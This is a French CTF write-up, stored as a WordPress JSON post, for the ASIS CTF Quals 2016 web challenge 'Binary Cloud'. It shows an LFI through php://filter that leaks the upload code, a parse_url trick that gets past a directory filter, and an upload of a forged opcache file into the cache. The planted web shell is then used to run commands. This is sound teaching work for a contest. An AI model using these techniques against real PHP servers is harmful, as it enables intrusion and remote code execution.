{"id":2377,"date":"2016-05-12T21:49:09","date_gmt":"2016-05-12T19:49:09","guid":{"rendered":"https:\/\/0x90r00t.com\/?p=2377"},"modified":"2016-05-12T21:49:09","modified_gmt":"2016-05-12T19:49:09","slug":"asis-ctf-quals-2016-web-153-binary-cloud-write-up","status":"publish","type":"post","link":"https:\/\/0x90r00t.com\/fr\/2016\/05\/12\/asis-ctf-quals-2016-web-153-binary-cloud-write-up\/","title":{"rendered":"[ASIS CTF Quals 2016] [Web 153 \u2013 Binary Cloud] Write Up"},"content":{"rendered":"
\n

Description<\/h2>\n

Now you can upload any types of files, temporarily.\n<\/p><\/blockquote>\n

<\/p>\n

Resolution<\/h2>\n

Nous commen\u00e7ons par r\u00e9cup\u00e9rer le fichier robots.txt<\/p>\n

\r\nUser-Agent: *\r\nDisallow: \/\r\nDisallow: \/debug.php\r\nDisallow: \/cache\r\nDisallow: \/uploads\r\n<\/pre>\n
Le fichier debug.php affiche un phpinfo qui nous indique que la version de php est la 7.0.4-7ubuntu2, qu’opcache est activ\u00e9 et que les fichiers sont mis en cache dans le r\u00e9pertoire \/home\/binarycloud\/www\/cache.<\/p>\n
Le lien vers le formulaire d’upload est https:\/\/binarycloud.asis-ctf.ir\/?page=upload ce qui laisse pr\u00e9sager une lfi.<\/p>\n
Effectivement, une requ\u00eate vers https:\/\/binarycloud.asis-ctf.ir\/index.php?page=php:\/\/filter\/convert.base64-encode\/resource=upload nous fournit le code d’upload.<\/p>\n
\r\n<?php\r\n\r\nfunction ew($haystack, $needle) {\r\n    return $needle === "" || (($temp = strlen($haystack) - strlen($needle)) >= 0 && strpos($haystack, $needle, $temp) !== false);\r\n}\r\n\r\nfunction filter_directory(){\r\n        $data = parse_url($_SERVER['REQUEST_URI']);\r\n        $filter = ["cache", "binarycloud"];\r\n        foreach($filter as $f){\r\n                if(preg_match("\/".$f."\/i", $data['query'])){\r\n                        die("Attack Detected");\r\n                }\r\n        }\r\n}\r\n\r\nfunction error($msg){\r\n        die("<script>alert('$msg');history.go(-1);<\/script>");\r\n}\r\n\r\nfilter_directory();\r\n\r\nif($_SERVER['QUERY_STRING'] && $_FILES['file']['name']){\r\n        if(!file_exists($_SERVER['QUERY_STRING'])) error("error3");\r\n        $name = preg_replace("\/[^a-zA-Z0-9\\.]\/", "", basename($_FILES['file']['name']));\r\n        if(ew($name, ".php")) error("error");\r\n        $filename = $_SERVER['QUERY_STRING'] . "\/" . $name;\r\n        if(file_exists($filename)) error("exists");\r\n        if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)){\r\n                die("uploaded at <a href=$filename>$filename<\/a><hr><a href='javascript:history.go(-1);'>Back<\/a>");\r\n        }else{\r\n                error("error");\r\n        }\r\n}\r\n\r\n?>\r\n        <hr>\r\n        <form action="upload.php?uploads" enctype="multipart\/form-data" method="post">\r\n                <p>Please specify the file to upload!<\/p>\r\n                <input class="form-control" type="file" name="file"><br>\r\n                <input class="form-control" type="submit" value="Upload!">\r\n        <\/form>\r\n\r\n<\/pre>\n
Apr\u00e8s lecture du code, on remarque que la fonction filter_directory() utilise parse_url($_SERVER[‘REQUEST_URI’]) alors que move_uploaded_file() utilise $_SERVER[‘QUERY_STRING’].<\/p>\n
Cela nous laisse supposer qu’il y a un moyen de contourner filter_directory() en utilisant un bug dans parse_url.
\nApr\u00e8s de multiples essais, nous trouvons une m\u00e9thode de contournement.<\/p>\n
\r\nphp7.0 test.php '\/\/upload.php?\/home\/binarycloud\/www\/cache\/'\r\nArray\r\n(\r\n    [host] => upload.php?\r\n    [path] => \/home\/binarycloud\/www\/cache\/\r\n)\r\n<\/pre>\n
Il nous faut \u00e0 pr\u00e9sent g\u00e9n\u00e9rer le binaire home.php.bin, pour cela nous installons un serveur identique \u00e0 celui du challenge (ubuntu, nginx, php-fpm) et nous activons opcache.<\/p>\n
Une fois notre binaire g\u00e9n\u00e9r\u00e9, nous l’envoyons et r\u00e9cup\u00e9rons notre shellcode.<\/p>\n
\r\nPOST \/\/upload.php?\/home\/binarycloud\/www\/cache\/81d80d78c6ef96b89afaadc7ffc5d7ea\/home\/binarycloud\/www\/ HTTP\/1.1\r\nHost: binarycloud.asis-ctf.ir\r\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nDNT: 1\r\nConnection: close\r\nContent-Type: multipart\/form-data; boundary=---------------------------21008119083100235961415588990\r\nContent-Length: 1220\r\n\r\n-----------------------------21008119083100235961415588990\r\nContent-Disposition: form-data; name="file"; filename="home.php.bin"\r\nContent-Type: application\/octet-stream\r\n\r\nOPCACHE 81d80d78c6ef96b89afaadc7ffc5d7ea ..................\r\n-----------------------------21008119083100235961415588990--\r\n<\/pre>\n
Quelques requ\u00eates plus loin
\nhttps:\/\/binarycloud.asis-ctf.ir\/home.php?ghfjkcsrf=ls-l \/
\nhttps:\/\/binarycloud.asis-ctf.ir\/home.php?ghfjkcsrf=cat \/WH4T_1S_7H3_FL4G<\/p>\n
Le flag est : ASIS{5e00f204374f9ce481acc97294eda1f0}<\/p>\n","protected":false},"excerpt":{"rendered":"
Description Now you can upload any types of files, temporarily.<\/p>\n","protected":false},"author":15,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[130,168,35],"tags":[128,171,38],"class_list":["post-2377","post","type-post","status-publish","format-standard","hentry","category-2016-fr","category-asis","category-ctf-fr","tag-2016-fr","tag-asis","tag-ctf-fr"],"_links":{"self":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts\/2377","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/users\/15"}],"replies":[{"embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/comments?post=2377"}],"version-history":[{"count":15,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts\/2377\/revisions"}],"predecessor-version":[{"id":2392,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/posts\/2377\/revisions\/2392"}],"wp:attachment":[{"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/media?parent=2377"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/categories?post=2377"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/0x90r00t.com\/fr\/wp-json\/wp\/v2\/tags?post=2377"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}